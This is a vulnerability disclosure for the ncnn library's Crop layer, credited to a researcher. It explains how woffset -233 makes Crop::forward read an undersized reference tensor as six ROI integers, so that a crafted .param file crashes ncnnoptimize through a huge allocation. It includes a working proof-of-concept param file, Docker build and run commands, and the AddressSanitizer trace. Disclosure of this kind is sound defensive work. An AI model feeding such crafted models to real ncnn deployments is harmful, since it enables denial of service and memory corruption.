Out-of-Bounds Crop Metadata Causes Optimizer Denial of Service
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/crop.cpp:327 in Crop::forward
Sanitizer verdict: requested allocation size 0xa233c5b82695084 (0xa233c5b82696100 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
Summary
A two-input Crop layer with woffset == -233 makes ncnn treat the second input tensor as a six-element ROI descriptor without checking that the tensor actually holds six integers. A crafted .param file processed by ncnnoptimize therefore reads uninitialized heap data as crop dimensions and passes them to Mat::create(), which requests a multi-petabyte allocation and aborts the optimizer. The entry point is ncnnoptimize, which loads the file via optimizer.load_param() and then runs ModelWriter::shape_inference().
Detail
Crop::load_param() reads woffset from parameter key 0, and the sentinel value -233 selects the "reference blob carries the ROI" mode. In that mode both the generic and the x86 forward paths reinterpret the second bottom blob's raw buffer as const int* and read a fixed number of elements chosen by the first blob's rank — six for a rank-3 input — with no reference to how many elements the reference blob actually contains.
// src/layer/x86/crop_x86.cpp:664
else if (woffset == -233)
{
resolve_crop_roi(bottom_blob.shape(), (const int*)reference_blob, _woffset, _hoffset, _doffset, _coffset, _outw, _outh, _outd, _outc);
}
// src/layer/crop.cpp:641
if (dims == 3)
{
_woffset = param_data[0];
_hoffset = param_data[1];
_coffset = param_data[2];
_outw = param_data[3];
_outh = param_data[4];
_outc = param_data[5];
}
// src/layer/crop.cpp:327
top_blob.create(_outw, _outh, _outc, elemsize, opt.blob_allocator);
The PoC declares data as 0=2 1=2 2=1 (a 2x2x1 rank-3 tensor) and ref as 0=1 1=1 2=1 — a single float, four bytes. resolve_crop_roi() reads 24 bytes from it, so param_data[1] through param_data[5] come from whatever follows the one-element Mat inside the padded block ncnn's allocator handed out. Those uninitialized values land in _outw, _outh and _outc.
Control then returns to the shared rank-3 tail of Crop::forward(). The only test applied to the resolved sizes is the _outw == w && _outh == h && _outc == channels pass-through shortcut at line 310; otherwise the output blob is created directly from them. Mat::create() multiplies the three signed dimensions into a size_t byte count, which for this run reached 0xa233c5b82695084 bytes — far past ASan's 0x10000000000 cap — so posix_memalign() inside fastMalloc() aborts the process during shape inference. Garbage that happened to be small and positive would instead produce an undersized top_blob that the following copy_cut_border_image() loops read and write past.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-out-of-bounds-crop-metadata-causes-optimizer-denial-of-service && cd ncnn-poc-out-of-bounds-crop-metadata-causes-optimizer-denial-of-service
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
3 3
Input data 0 1 data 0=2 1=2 2=1
Input ref 0 1 ref 0=1 1=1 2=1
Crop crop 2 1 data ref out 0=-233
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: requested allocation size 0xa233c5b82695084 (0xa233c5b82696100 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x7dd444eb5f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x625fdb06d68e in fastMalloc /ncnn/src/allocator.h:62
#2 0x625fdb06d68e in ncnn::PoolAllocator::fastMalloc(unsigned long) /ncnn/src/allocator.cpp:159
#3 0x625fdb0a98a0 in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:413
#4 0x625fdd4cc6d0 in ncnn::Crop::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/crop.cpp:327
#5 0x625fdd578c0f in ncnn::Crop_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/crop_x86_avx512.cpp:1117
#6 0x625fdb10170b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
#7 0x625fdb0e9b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#8 0x625fdb1499e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#9 0x625fdafdb3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#10 0x625fdb058eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#11 0x7dd44483c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#12 0x7dd44483c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#13 0x625fdafd8624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
==1==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 in posix_memalign
==1==ABORTING
Credit
Zheng Yu @ DepthFirst